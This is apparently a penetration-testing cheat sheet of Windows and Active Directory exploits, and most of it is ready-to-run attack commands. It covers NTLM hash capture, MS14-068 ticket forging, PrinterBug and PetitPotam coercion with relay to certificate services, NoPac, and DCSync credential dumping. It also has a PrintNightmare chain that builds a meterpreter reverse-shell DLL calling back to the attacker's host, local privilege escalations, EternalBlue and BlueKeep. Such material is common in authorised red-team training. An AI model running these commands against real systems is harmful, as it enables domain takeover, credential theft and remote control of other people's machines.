# Windows

## Index

<table><thead><tr><th width="278">Name</th><th>CVE</th><th>Exploit</th></tr></thead><tbody><tr><td><a href="#ntlm-hash-via-rar-zip">NTLM Hash via RAR/ZIP </a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24071">CVE-2025-24071</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054">CVE-2025-24054</a></td><td><a href="https://github.com/0x6rss/CVE-2025-24071_PoC">Exploit</a></td></tr><tr><td><a href="#kerberos-checksum-vulnerability">Kerberos Checksum Vulnerability</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-6324">CVE-2014-6324</a><br>MS14-068</td><td><a href="https://github.com/mubix/pykek/blob/master/ms14-068.py">Exploit</a>, <a href="https://github.com/fortra/impacket/blob/master/examples/goldenPac.py">Impacket-Exploit</a></td></tr><tr><td><a href="#printerbug-or-spoolsample">PrinterBug <em>or</em> SpoolSample</a></td><td>/</td><td><a href="https://github.com/NotMedic/NetNTLMtoSilverTicket">Exploit</a></td></tr><tr><td><a href="#petitpotam">PetitPotam</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-36942">CVE-2021-36942</a></td><td><a href="https://github.com/topotam/PetitPotam">Exploit</a></td></tr><tr><td><a href="#samaccountname-spoofing">SamAccountName Spoofing - NoPac</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-42278">CVE-2021-42278</a><br><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-42287">CVE-2021-42287</a></td><td><a href="https://github.com/Ridter/noPac">Exploit</a></td></tr><tr><td><a href="#printnightmare">PrintNightmare</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-1675">CVE-2021-1675</a><br><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-34527">CVE-2021-34527</a></td><td><a href="https://github.com/cube0x0/CVE-2021-1675">Exploit-1</a>, <a href="https://github.com/calebstewart/CVE-2021-1675">Exploit-2</a></td></tr><tr><td><a href="#windows-kernel-elevation-of-privilege-vulnerability">Windows Kernel Elevation of Privilege Vulnerability</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-0668">CVE-2020-0668</a></td><td><a href="https://github.com/RedCursorSecurityConsulting/CVE-2020-0668">Exploit</a></td></tr><tr><td><a href="#windows-certificate-dialog-elevation-of-privilege-vulnerability">Windows Certificate Dialog Elevation of Privilege Vulnerability</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-1388">CVE-2019-1388</a></td><td><a href="https://packetstormsecurity.com/files/14437/hhupd.exe.html">hhupd.exe</a></td></tr><tr><td><a href="#secondary-logon-elevation-of-privilege-vulnerability">Secondary Logon Elevation of Privilege Vulnerability</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-0099">CVE-2016-0099</a><br>MS16-032</td><td><a href="https://www.exploit-db.com/exploits/39719">Exploit</a></td></tr><tr><td><a href="#eternalblue">EternalBlue</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2017-0144">CVE-2017-0144</a><br>MS17-010</td><td><a href="https://www.exploit-db.com/exploits/42315">Exploit</a></td></tr><tr><td><a href="#bluekeep">BlueKeep</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-0708">CVE-2019-0708</a></td><td><a href="https://github.com/RICSecLab/CVE-2019-0708">Exploit</a></td></tr></tbody></table>

### NTLM Hash via RAR/ZIP&#x20;

Windows Explorer automatically initiates an SMB authentication request when a .library-ms file is extracted from a .rar archive, leading to NTLM hash disclosure. The user does not need to open or execute the file—simply extracting it is enough to trigger the leak.

[Exploit](https://github.com/0x6rss/CVE-2025-24071_PoC)

{% code overflow="wrap" %}

```bash
python3 poc.py
# > enter file name: <FILENAME.zip>
# > enter IP: <MY_IP>
```

{% endcode %}

Once the file has been created, launch [responder](https://github.com/lgandx/Responder) and upload the file to the vulnerable point, which will unzip it and give us the hash.

### Kerberos Checksum Vulnerability

This was a flaw in the Kerberos protocol, which could be leveraged along with standard domain user credentials to elevate privileges to Domain Admin. A Kerberos ticket contains information about a user, including the account name, ID, and group membership in the Privilege Attribute Certificate (PAC). The PAC is signed by the KDC using secret keys to validate that the PAC has not been tampered with after creation.The vulnerability allowed a forged PAC to be accepted by the KDC as legitimate. This can be leveraged to create a fake PAC, presenting a user as a member of the Domain Administrators or other privileged group. For more info see [HERE](https://legacy.thehacker.recipes/a-d/movement/kerberos/forged-tickets/ms14-068).

[Exploit](https://github.com/mubix/pykek/blob/master/ms14-068.py) to get TGT

{% code overflow="wrap" %}

```bash
# with a plaintext password
ms14-068.py -u '<BASICUSER>'@'<DOMAIN_FQDN>' -p '<PASSWORD>' -s '<BASICUSER_SID>' -d '<DOMAIN_CONTROLLER>'
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# with pass-the-hash
ms14-068.py -u '<BASICUSER>'@'<DOMAIN_FQDN>' --rc4 '<NThash>' -s '<BASICUSER_SID>' -d '<DOMAIN_CONTROLLER>'
```

{% endcode %}

[Impacket-Exploit](https://github.com/fortra/impacket/blob/master/examples/goldenPac.py) to open a privileged session using the obtained TGT and PsExec

{% code overflow="wrap" %}

```bash
goldenPac.py <DOMAIN_FQDN>/<USER>:<PASS>@<DC_FQDN> -dc-ip <DC_IP>
```

{% endcode %}

[Metasploit](https://ivalexev.gitbook.io/rednote/utility/c2-and-exploitation-framework/metasploit)&#x20;

```
admin/kerberos/ms14_068_kerberos_checksum
```

### PrinterBug *or* SpoolSample

The Printer Bug is a flaw in the MS-RPRN protocol (Print System Remote Protocol). This protocol defines the communication of print job processing and print system management between a client and a print server. To leverage this flaw, any domain user can connect to the spool's named pipe with the `RpcOpenPrinter` method and use the `RpcRemoteFindFirstPrinterChangeNotificationEx` method, and force the server to authenticate to any host provided by the client over SMB. The spooler service runs as SYSTEM and is installed by default in Windows servers running Desktop Experience.&#x20;

Set [responder](https://github.com/lgandx/Responder)

{% code overflow="wrap" %}

```bash
sudo responder -I <INTERFACE>
```

{% endcode %}

Using PowerShell, get a list of Windows boxes (servers are usually priority)

{% code overflow="wrap" %}

```powershell
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```

{% endcode %}

{% tabs %}
{% tab title="Linux (Remotely)" %}
With [rpcdump.py](https://github.com/fortra/impacket/blob/master/examples/rpcdump.py) see if the Spooler Service is listening

{% code overflow="wrap" %}

```bash
rpcdump.py <DOMAIN>/<USER>:<PASS>@<SERVER.DOMAIN.COM> | grep MS-RPRN
```

{% endcode %}

Now, with [dementor.py](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py), ask the service to authenticate against an arbitrary host

{% code overflow="wrap" %}

```bash
python dementor.py -d <DOMAIN> -u <USER> -p <PASS> <RESPONDER_IP> <TARGET>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
printerbug.py '<DOMAIN>/<USER>:<PASS>'@<TARGET> <RESPONDER_IP>
```

{% endcode %}
{% endtab %}

{% tab title="Windows (Locally)" %}
With [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) see if the Spooler Service is listening

{% code overflow="wrap" %}

```powershell
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-SpoolStatus -ComputerName <SERVER.DOMAIN.COM>
```

{% endcode %}

Now, with[ SpoolSample](https://github.com/NotMedic/NetNTLMtoSilverTicket), ask the service to authenticate against an arbitrary host

{% code overflow="wrap" %}

```powershell
SpoolSample.exe <TARGET> <RESPONDER_IP>
```

{% endcode %}
{% endtab %}
{% endtabs %}

### PetitPotam

The flaw allows an unauthenticated attacker to coerce a Domain Controller to authenticate against another host using NTLM over port 445 via the Local Security Authority Remote Protocol (LSARPC) by abusing Microsoft’s Encrypting File System Remote Protocol (MS-EFSRPC). This technique allows an unauthenticated attacker to take over a Windows domain where Active Directory Certificate Services (AD CS). For more info, see [this](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) link.

Use [certi](https://github.com/zer1t0/certi) to attempt to locate the Web Enrollment URL for the CA host.

{% code overflow="wrap" %}

```bash
certi find -dc-ip <DC> -u <USER> -p <PASS> -d <DOMAIN>
```

{% endcode %}

Start [ntlmrelayx.py](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py), specifying the Web Enrollment URL for the CA host and using either the KerberosAuthentication or DomainController AD CS template.

{% code overflow="wrap" %}

```bash
sudo ntlmrelayx.py -debug -smb2support --target <URL>/certfnsh.asp --adcs --template DomainController
```

{% endcode %}

Attempt to coerce the Domain Controller to authenticate to our ntlmrelayx

{% tabs %}
{% tab title="PetitPotam" %}
Use [PetitPotam.py](https://github.com/topotam/PetitPotam)

{% code overflow="wrap" %}

```bash
python3 PetitPotam.py <MyIP> <DC>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python3 PetitPotam.py [-d <DOMAIN> -u <USER> -p <PASS>] <MyIP> <DC>
```

{% endcode %}

Or, if initial access has been established to a domain joined system, use [PetitPotam.exe](https://github.com/topotam/PetitPotam)

{% code overflow="wrap" %}

```powershell
PetitPotam.exe <MyIP> <DC>
```

{% endcode %}
{% endtab %}

{% tab title="Mimikatz" %}
Use EFS module in [Mimikatz](https://github.com/gentilkiwi/mimikatz).

{% code overflow="wrap" %}

```
misc::efs /server:<Domain Controller> /connect:<ATTACK HOST>
```

{% endcode %}
{% endtab %}

{% tab title="PowerShell" %}
Use PowerShell implementation of the tool [Invoke-PetitPotam.ps1](https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-Petitpotam.ps1).
{% endtab %}
{% endtabs %}

Obtain the User and the Base64 encoded certificate for the Domain Controller from ntlmrelayx.

Use [gettgtpkinit.py](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py) to request a TGT for the domain controller.

{% code overflow="wrap" %}

```bash
python3 gettgtpkinit.py <DOMAIN>/<USER>\$ -pfx-base64 <BASE64> <OUT_NAME>.ccache
# take note of KEY
```

{% endcode %}

Set the `KRB5CCNAME` environment variable, so our attack host uses this file for Kerberos authentication attempts

```bash
export KRB5CCNAME=<OUT_NAME>.ccache
```

From [krb5-user](https://packages.ubuntu.com/focal/krb5-user) get TGT info with `klist` command *(default principal)*

Now we can use the TGT to perform various attack

{% tabs %}
{% tab title="DCSync" %}
Then use  [impacket-secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) to perform DCSync

{% code overflow="wrap" %}

```bash
secretsdump.py -just-dc-user <DOMAIN>/administrator -k -no-pass <DC_NAME/IP>
```

{% endcode %}
{% endtab %}

{% tab title="getnthash" %}
Then use [getnthash.py](https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py) from PKINITtools to request the NT hash

{% code overflow="wrap" %}

```bash
python /opt/PKINITtools/getnthash.py -key <KEY> <DOMAIN>/<DC_NAME/IP>
```

{% endcode %}
{% endtab %}
{% endtabs %}

Alternatively, once we obtain the base64 certificate via ntlmrelayx, we could use the certificate with the [Rubeus](https://github.com/GhostPack/Rubeus) tool on a **Windows attack host** to request a TGT ticket and perform a pass-the-ticket (PTT) attack all at once.

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:<BASE64> /ptt
```

{% endcode %}

### SamAccountName Spoofing - NoPac

[CVE-2021-42278](https://nvd.nist.gov/vuln/detail/CVE-2021-42278) is a bypass vulnerability with the Security Account Manager (SAM).\
[CVE-2021-42287](https://nvd.nist.gov/vuln/detail/CVE-2021-42287) is a vulnerability within the Kerberos Privilege Attribute Certificate (PAC) in ADDS.

This exploit path takes advantage of being able to change the `SamAccountName` of a computer account to that of a Domain Controller. By default, authenticated users can add up to 10 computers to a domain. When doing so, we change the name of the new host to match a Domain Controller's SamAccountName. Once done, we must request Kerberos tickets causing the service to issue us tickets under the DC's name instead of the new name. When a TGS is requested, it will issue the ticket with the closest matching name. Once done, we will have access as that service and can even be provided with a SYSTEM shell on a Domain Controller.

Install [impacket](https://github.com/fortra/impacket)

{% code overflow="wrap" %}

```bash
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install 
```

{% endcode %}

Use [NoPac](https://github.com/Ridter/noPac)&#x20;

Check if the system is vulnerable

{% code overflow="wrap" %}

```bash
sudo python3 scanner.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC> -use-ldap
# ms-DS-MachineAccountQuota > 0
```

{% endcode %}

Attack the target. (**This could be "noisy" or may be blocked by AV or EDR**)

Impersonate the built-in administrator account and drop into a semi-interactive shell session (`smbexec.py`) on the target Domain Controller.

{% code overflow="wrap" %}

```bash
sudo python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC> -dc-host <PN_NAME> -shell --impersonate administrator -use-ldap
# NoPac.py does save the TGT in the current directory
```

{% endcode %}

We could then use the TGT ccache file to perform a [Pass-The-Ticket](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/pass-the-ticket) and perform further attacks such as [DCSync](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/dc-synchronization). We can also use the tool with the `-dump` flag to perform a DCSync using secretsdump.py.

{% code overflow="wrap" %}

```bash
sudo python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC> -dc-host <PN_NAME> --impersonate administrator -use-ldap -dump -just-dc-user <DOMAIN>/administrator
```

{% endcode %}

### PrintNightmare

{% tabs %}
{% tab title="Remotely" %}
[Exploit-1](https://github.com/cube0x0/CVE-2021-1675) that execute a malicious DLL.

Install cube0x0's Version of Impacket

{% code overflow="wrap" %}

```bash
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install  
```

{% endcode %}

We can use `rpcdump.py` to see if "*Print System Asynchronous Protocol*" and "*Print System Remote Protocol*" are exposed on the target.

{% code overflow="wrap" %}

```bash
rpcdump.py @<IP> | egrep 'MS-RPRN|MS-PAR'
```

{% endcode %}

After confirming this, we can crafting a DLL payload using [msfvenom](https://ivalexev.gitbook.io/rednote/software-attacks/shellcode#msfvenom)

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<MyIP> LPORT=<MyPort> -f dll > backupscript.dll
```

{% endcode %}

We will then host this payload in an [SMB share](https://ivalexev.gitbook.io/rednote/utility/server#smb)

{% code overflow="wrap" %}

```bash
sudo smbserver.py -smb2support <NAME_SHARE> /path/to/backupscript.dll
```

{% endcode %}

Now we can use MSF to configure & start a multi handler.

With the share hosting our payload and our multi handler listening for a connection, we can attempt to run the exploit against the target.

{% code overflow="wrap" %}

```bash
sudo python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASS>@<TARGET_IP> '\\<MY_IP>\<NAME_SHARE>\backupscript.dll'
```

{% endcode %}
{% endtab %}

{% tab title="Locally" %}
[Exploit-2](https://github.com/calebstewart/CVE-2021-1675) in powershell implementation.

Check if the Spooler service is running

{% code overflow="wrap" %}

```powershell
ls \\localhost\pipe\spoolss
```

{% endcode %}

&#x20;Exploit&#x20;

{% code overflow="wrap" %}

```powershell
Import-Module .\CVE-2021-1675.ps1 
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Windows Kernel Elevation of Privilege Vulnerability

[Exploit](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668): Privilege Escalation with [UsoDllLoader](https://github.com/itm4n/UsoDllLoader) or [diaghub](https://github.com/xct/diaghub), or with service that runs in the context of SYSTEM and is startable by unprivileged users.

ex: `<PATH>` = `C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe`

Check permission with `icacls <PATH>` \
Get 2 `malicious.exe` and renames with the name of the service exe.

Run exploit

```powershell
.\CVE-2020-0668.exe <MaliciousExe1> <PATH>
```

Check permission with `icacls <PATH>` (all F)

Since `MaliciousExe1` is no longer a valid, exchange it with the second

```powershell
copy /Y <MaliciousExe2> <PATH>
```

Now run the malicious file as system

```powershell
net start <SERVICE.exe>
```

### Windows Certificate Dialog Elevation of Privilege Vulnerability

Use [hhupd.exe](https://packetstormsecurity.com/files/14437/hhupd.exe.html) that contains a certificate with the SpcSpAgencyInfo field populated with a hyperlink.

`Right Click on hhupd.exe` > `Run as administrator`\
\> `Show information about the publisher's certificate` > `General` > `Link on "Issued by" and close`&#x20;

Now we have a browser open as system.

`Right Click on browser` > `Save as` > `c:\windows\system32\cmd.exe in the path`

### Secondary Logon Elevation of Privilege Vulnerability

[Exploit](https://www.exploit-db.com/exploits/39719)

```powershell
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032
```

### EternalBlue

SMB v1 vulnerability, [Exploit](https://www.exploit-db.com/exploits/42315)

```powershell
python3 .\42315.py
```

### BlueKeep

RDP vulnerability, [Exploit](https://github.com/RICSecLab/CVE-2019-0708)

```bash
nc -v -l 4444
python3 exploit.py <TARGET> -rp <PORT_RDP_SERVER> <MY_IP>
```
